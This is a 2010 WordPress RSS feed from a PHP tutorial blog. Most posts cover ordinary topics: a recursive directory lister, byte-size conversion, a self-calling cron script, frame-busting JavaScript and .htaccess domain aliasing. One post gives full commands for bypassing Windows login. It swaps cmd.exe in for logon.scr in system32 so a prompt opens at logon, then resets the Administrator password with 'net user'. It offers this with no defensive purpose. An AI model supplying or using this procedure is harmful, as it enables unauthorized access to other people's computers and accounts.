<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Php Development</title>
	<atom:link href="http://www.maheshchari.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.maheshchari.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 25 Feb 2010 21:21:20 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>php directory lister function</title>
		<link>http://www.maheshchari.com/php-directory-lister-function/</link>
		<comments>http://www.maheshchari.com/php-directory-lister-function/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 21:17:12 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[PHP/mysql]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=418</guid>
		<description><![CDATA[here is a simple function that iterates a directory recursively and returns as array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
	function directory_map&#40;$source_dir, $top_level_only = FALSE&#41;
	&#123;	
		if &#40;$fp = @opendir&#40;$source_dir&#41;&#41;
		&#123;	
		//DIRECTORY_SEPARATOR is a constant is different on different Server OS
			$source_dir = rtrim&#40;$source_dir, DIRECTORY_SEPARATOR&#41;.DIRECTORY_SEPARATOR;		
			$filedata = array&#40;&#41;; //let grab all files n directorys into this array
			//readdire iterates all the files n folders and returns 
			while &#40;FALSE !== [...]]]></description>
			<content:encoded><![CDATA[<p>here is a simple function that iterates a directory recursively and returns as array.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">function</span> directory_map<span style="color: #009900;">&#40;</span><span style="color: #000088;">$source_dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$top_level_only</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>	
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$source_dir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>	
		<span style="color: #666666; font-style: italic;">//DIRECTORY_SEPARATOR is a constant is different on different Server OS</span>
			<span style="color: #000088;">$source_dir</span> <span style="color: #339933;">=</span> <span style="color: #990000;">rtrim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$source_dir</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">DIRECTORY_SEPARATOR</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900; font-weight: bold;">DIRECTORY_SEPARATOR</span><span style="color: #339933;">;</span>		
			<span style="color: #000088;">$filedata</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//let grab all files n directorys into this array</span>
			<span style="color: #666666; font-style: italic;">//readdire iterates all the files n folders and returns </span>
			<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">FALSE</span> <span style="color: #339933;">!==</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strncmp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//if file or dir name is only '.' ,hidden files we skip them </span>
				<span style="color: #009900;">&#125;</span>
&nbsp;
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$top_level_only</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">FALSE</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$source_dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$temp_array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #666666; font-style: italic;">//if is directory call this function itself recursively</span>
					<span style="color: #000088;">$temp_array</span> <span style="color: #339933;">=</span> directory_map<span style="color: #009900;">&#40;</span><span style="color: #000088;">$source_dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #339933;">.</span><span style="color: #009900; font-weight: bold;">DIRECTORY_SEPARATOR</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
					<span style="color: #000088;">$filedata</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$temp_array</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #b1b100;">else</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$filedata</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$file</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
&nbsp;
			<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//finally close the directory and unlock file or directory data</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$filedata</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//return as array</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// __FILE__ is PHP constant that tells the present executing script</span>
<span style="color: #666666; font-style: italic;">// dirname extracts the directory name from a given file contains</span>
<span style="color: #000088;">$present_directory_with_allfilesandfolder</span><span style="color: #339933;">=</span>directory_map<span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$onlyonetopleveldata</span><span style="color: #339933;">=</span>directory_map<span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h3><a href='http://www.maheshchari.com/wp-content/uploads/2010/02/phpdirectoryiteration.zip'>Download Demo</a></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/php-directory-lister-function/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php bytes conversion</title>
		<link>http://www.maheshchari.com/php-bytes-conversion/</link>
		<comments>http://www.maheshchari.com/php-bytes-conversion/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 12:45:58 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[PHP/mysql]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=416</guid>
		<description><![CDATA[PHP byte conversion function
Generelly we need to display the file size in file sharing applications. Here we use below function to display the size in bytes with filesize function.

function byte_convert&#40;$bytes&#41;
  &#123;
    $symbol = array&#40;'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'&#41;;
&#160;
    $exp = 0;
    [...]]]></description>
			<content:encoded><![CDATA[<h1>PHP byte conversion function</h1>
<p>Generelly we need to display the file size in file sharing applications. Here we use below function to display the size in bytes with <strong>filesize</strong> function.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> byte_convert<span style="color: #009900;">&#40;</span><span style="color: #000088;">$bytes</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$symbol</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'B'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'KB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'MB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'GB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'TB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'PB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'EB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ZB'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'YB'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$exp</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$converted_value</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$bytes</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$exp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">log</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$bytes</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #990000;">log</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$converted_value</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$bytes</span><span style="color: #339933;">/</span><span style="color: #990000;">pow</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">,</span><span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'%.2f '</span><span style="color: #339933;">.</span><span style="color: #000088;">$symbol</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$exp</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$converted_value</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">//we can't use PHP integer unsigned as some systems use 32 bit and other 64 bit ,so here we use C style function sprintf</span>
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>&nbsp;</p>
<h2>File size stadards </h2>
<p>computer data and file size is normally  measured in binary code using the binary number system, the prefixes for  the multiples are based on the metric system!  The nearest binary  number to 1,000 is 2^10 or 1,024; thus 1,024 bytes was named a  Kilobyte. </p>
<table cellspacing="1" cellpadding="2" border="0">
<tbody>
<tr  align="center">
<td colspan="3"><strong>New IEC Standard </strong></td>
</tr>
<tr >
<td align="left">bit</td>
<td>bit</td>
<td align="left">0 or 1</td>
</tr>
<tr >
<td align="left">byte</td>
<td>B</td>
<td align="left">8 bits</td>
</tr>
<tr >
<td align="left">kibibit</td>
<td>Kibit</td>
<td align="left">1024 bits</td>
</tr>
<tr >
<td align="left">kilobit</td>
<td>kbit</td>
<td align="left">1000 bits</td>
</tr>
<tr >
<td align="left">kibibyte (binary)</td>
<td>KiB</td>
<td align="left">1024 bytes</td>
</tr>
<tr >
<td align="left">kilobyte (decimal)</td>
<td>kB</td>
<td align="left">1000 bytes</td>
</tr>
<tr >
<td align="left">megabit</td>
<td>Mbit</td>
<td align="left">1000 kilobits</td>
</tr>
<tr >
<td align="left">mebibyte (binary)</td>
<td>MiB</td>
<td align="left">1024 kibibytes</td>
</tr>
<tr >
<td align="left">megabyte (decimal)</td>
<td>MB</td>
<td align="left">1000 kilobytes</td>
</tr>
<tr >
<td align="left">gigabit</td>
<td>Gbit</td>
<td align="left">1000 megabits</td>
</tr>
<tr >
<td align="left">gibibyte (binary)</td>
<td>GiB</td>
<td align="left">1024 mebibytes</td>
</tr>
<tr >
<td align="left">gigabyte (decimal)</td>
<td>GB</td>
<td align="left">1000 megabytes</td>
</tr>
<tr >
<td align="left">terabit</td>
<td>Tbit</td>
<td align="left">1000 gigabits</td>
</tr>
<tr >
<td align="left">tebibyte (binary)</td>
<td>TiB</td>
<td align="left">1024 gibibytes</td>
</tr>
<tr >
<td align="left">terabyte (decimal)</td>
<td>TB</td>
<td align="left">1000 gigabytes</td>
</tr>
<tr >
<td align="left">petabit</td>
<td>Pbit</td>
<td align="left">1000 terabits</td>
</tr>
<tr >
<td align="left">pebibyte (binary)</td>
<td>PiB</td>
<td align="left">1024 tebibytes</td>
</tr>
<tr >
<td align="left">petabyte (decimal)</td>
<td>PB</td>
<td align="left">1000 terabytes</td>
</tr>
<tr >
<td align="left">exabit</td>
<td>Ebit</td>
<td align="left">1000 petabits</td>
</tr>
<tr >
<td align="left">exbibyte (binary)</td>
<td>EiB</td>
<td align="left">1024 pebibytes</td>
</tr>
<tr >
<td align="left">exabyte (decimal)</td>
<td>EB</td>
<td align="left">1000 petabytes</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/php-bytes-conversion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>windows password hack with command promt</title>
		<link>http://www.maheshchari.com/windows-password-hack-with-command-promt/</link>
		<comments>http://www.maheshchari.com/windows-password-hack-with-command-promt/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 06:25:27 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[other]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=413</guid>
		<description><![CDATA[A simple command promt windows password hack
cmd.exe or command prompt is the command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008).At operating system starting a series of commonds and some applications will be invoked by it. logon.scr is the one of [...]]]></description>
			<content:encoded><![CDATA[<h1>A simple command promt windows password hack</h1>
<p>cmd.exe or command prompt is the command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008).At operating system starting a series of commonds and some applications will be invoked by it. logon.scr is the one of them . so here we take this as advantages.</p>
<p>To perform this hack you need to know how to open command promt and some basic commonds.</p>
<p>To open command promt you have to click on start ,then you see a text box called run at right bottom of the start menu.Then enter cmd commond , a black notepad [:)]will open. now enter the below commands and press enter on your keyboard.</p>
<p>&nbsp;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">cd..
cd..
cd WINDOWS
cd system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit</pre></td></tr></table></div>

<p>After restart the system,then you will see again commond promt at logon , then follow below steps</p>
<p>first  enter <strong>net user</strong> commond ,it will show all the user account to system , Administrator is the common user account for windows.</p>
<p>after you decide with your newpassword what ever you decide.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">net user Administrator newpassword</pre></td></tr></table></div>

<p>Now password is changed to newpassword you given.</p>
<p>Again restore the old logon.scr and cmd.exe files to original folder system32 with following commands</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">cd..
cd..
cd WINDOWS
cd system32
del logon.scr
copy temphack\logon.scr logon.scr
copy  temphack\cmd.exe cmd.exe
exit</pre></td></tr></table></div>

<p>After copying original files ,again restart the system and enter with new passowrd have fun.</p>
<p>&nbsp; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/windows-password-hack-with-command-promt/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>php cron job</title>
		<link>http://www.maheshchari.com/php-cron-job/</link>
		<comments>http://www.maheshchari.com/php-cron-job/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 17:01:40 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[PHP/mysql]]></category>
		<category><![CDATA[curl]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=407</guid>
		<description><![CDATA[Setup Cron Job with PHP without crontab that runs every minute.
Cron job is scheduling some tasks with in regular interval on server.To setup cron job we must know about the cron tab commonds and shell access to remote server. generelly every hosting providers provide some programs like cPanel. Here we run a cron job that [...]]]></description>
			<content:encoded><![CDATA[<h1>Setup Cron Job with PHP without crontab that runs every minute.</h1>
<p><strong>Cron job</strong> is scheduling some tasks with in regular interval on server.To setup cron job we must know about the cron tab commonds and shell access to remote server. generelly every hosting providers provide some programs like cPanel. Here we run a <strong>cron job</strong> that runs every mintues automatically without <strong>cron tab unix / linux demon </strong>or without any <strong>externel</strong> progams.</p>
<p>Generelly <strong>Cron job</strong> will run atleast four hours gap on <strong>cPanel</strong> or <strong>Plesk</strong> ,so it is not possible to setup cron job every minute unless you have crontab demon on server , <strong>SSH </strong>account on server. Here we write a simple php script that calls itself at every minute. </p>
<p>Remmber this cron job runs with <strong>curl php</strong> extension.</p>
<p>&nbsp;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//This function runs with curl extension that calls or open remote file.</span>
<span style="color: #000000; font-weight: bold;">function</span> call_remote_file<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> do_somework<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #666666; font-style: italic;">//This function to run every minutes</span>
<span style="color: #339933;">@</span><span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'mahesh@gmail.com'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'cron job'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'cron runned'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">set_time_limit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">// some web hosts will have only 30 sec max execution time so we keep it unlimited time</span>
<span style="color: #666666; font-style: italic;">// this function only runs if safe mode is off</span>
<span style="color: #000088;">$url</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.maheshchari.com/cronjob.php&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//it is the script that runs exactly every minutes</span>
call_remote_file<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
do_somework<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//in mean time run some work</span>
<span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// wait the script for 60 seconds or every minute</span>
call_remote_file<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// call this script itself after a minute</span>
<span style="color: #666666; font-style: italic;">// This process continues every minute</span></pre></td></tr></table></div>

<p>To stop this cron job simple remove the file from server. </p>
<p>With this script we don&#8217;t need</p>
<ul>
<li>SSH /SFTP account</li>
<li>No need of learning cron tab commonds.</li>
<li>No script php exec permissions.</li>
<li>No need to turn off php safe mode.</li>
</ul>
<h3><a href='http://www.maheshchari.com/wp-content/uploads/2010/02/cron.zip'>Download Demo</a></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/php-cron-job/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>prevent iframe ,frame theft</title>
		<link>http://www.maheshchari.com/prevent-iframe-frame-theft/</link>
		<comments>http://www.maheshchari.com/prevent-iframe-frame-theft/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 09:56:17 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=404</guid>
		<description><![CDATA[How to stop iframe, frame thefts of our site resources.
Sites like Google Image search , goodphptutorials.com and phpcamp.net displays the  website under the IFRAME .No one want their site to  be displayed it under the IFRAME, FRAMES. If you want to protect your site to  be displayed under the IFRAME,FRAMES then just [...]]]></description>
			<content:encoded><![CDATA[<h1>How to stop iframe, frame thefts of our site resources.</h1>
<p>Sites like Google Image search , goodphptutorials.com and phpcamp.net displays the  website under the IFRAME .No one want their site to  be displayed it under the IFRAME, FRAMES. If you want to protect your site to  be displayed under the IFRAME,FRAMES then just copy and paste below javascript code after body tag.</p>
<p>&nbsp;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">top</span> <span style="color: #339933;">!==</span> window.<span style="color: #660066;">self</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
document.<span style="color: #000066; font-weight: bold;">write</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
window.<span style="color: #660066;">top</span>.<span style="color: #660066;">location</span> <span style="color: #339933;">=</span> window.<span style="color: #660066;">self</span>.<span style="color: #660066;">location</span><span style="color: #339933;">;</span> setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>document.<span style="color: #660066;">body</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span><span style="color: #3366CC;">''</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
window.<span style="color: #660066;">self</span>.<span style="color: #000066;">onload</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>evt<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
document.<span style="color: #660066;">body</span>.<span style="color: #660066;">innerHTML</span><span style="color: #339933;">=</span><span style="color: #3366CC;">''</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Here we use simple logic that we check our page document window is main window or not. if our document isn&#8217;t in main window it might be in iframe or frame. then we switch the location of main window to our existing document locations.  Before doing this redirection we make the document empty, because the imposter can break this code before loading . </p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/prevent-iframe-frame-theft/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to host multiple domains in a single hosting package</title>
		<link>http://www.maheshchari.com/how-to-host-multiple-domains-in-a-single-hosting-package/</link>
		<comments>http://www.maheshchari.com/how-to-host-multiple-domains-in-a-single-hosting-package/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 17:29:07 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[seo]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=399</guid>
		<description><![CDATA[How to host multiple domains in a single hosting package.
In our real time,we work mostly small websites where limited static files are hosted. So in that case we waste additional money for less than a Mb files. Here we learn simple hack how to add multiple sites to single account using single .htaccess file.
For example, [...]]]></description>
			<content:encoded><![CDATA[<h1>How to host multiple domains in a single hosting package.</h1>
<p>In our real time,we work mostly small websites where limited static files are hosted. So in that case we waste additional money for less than a Mb files. Here we learn simple hack how to add multiple sites to single account using single .htaccess file.</p>
<p>For example, if you are hosting your domain name &quot;<strong>maheshchari.com</strong>&quot; with us and added a Domain Alias for &quot;<strong>mahesh.com</strong>&quot;, then <strong>http://www.maheshchari.com</strong> and <strong>http://www.mahesh.com</strong> would take a visitor to the exact same pages of  <strong>maheshchari.com</strong> website. <strong>http://maheshchari.com/somefile.html </strong>would bring someone to the exact same page as <strong>http://mahesh.com/somefile.html</strong>. 
</p>
<p>Using this method, you can host an additional website within your account for each Domain  you add. Or you can point the <strong>mahesh.com</strong> same as <strong>maheshchari.com</strong>,So you are adding &quot;<strong>A</strong>&quot; same for both domains in DNS management . </p>
<p>After that This is a custom configuration requiring a couple extra steps. </p>
<p>After Pointing both domain to same Server IP , then place an .htaccess file in /htdocs/www of the following example format: </p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">RewriteEngine On
RewriteCond %{HTTP_HOST}  mahesh.com$ [NC]
RewriteCond %{REQUEST_URI} !^/mahesh/.*$
RewriteRule ^(.*)$  /mahesh/$1</pre></div></div>

<p>Then, upload your HTML files maheshchari.com to <strong>/htdocs/www/</strong> and your HTML files for <strong>mahesh.com</strong> to <strong>/htdocs/www/mahesh </strong></p>
<p>Remeber you can&#8217;t add emails for <strong>mahesh.com</strong> for that .</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/how-to-host-multiple-domains-in-a-single-hosting-package/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery ajaxstart ajaxstop</title>
		<link>http://www.maheshchari.com/jquery-ajaxstart-ajaxstop/</link>
		<comments>http://www.maheshchari.com/jquery-ajaxstart-ajaxstop/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 11:14:48 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>

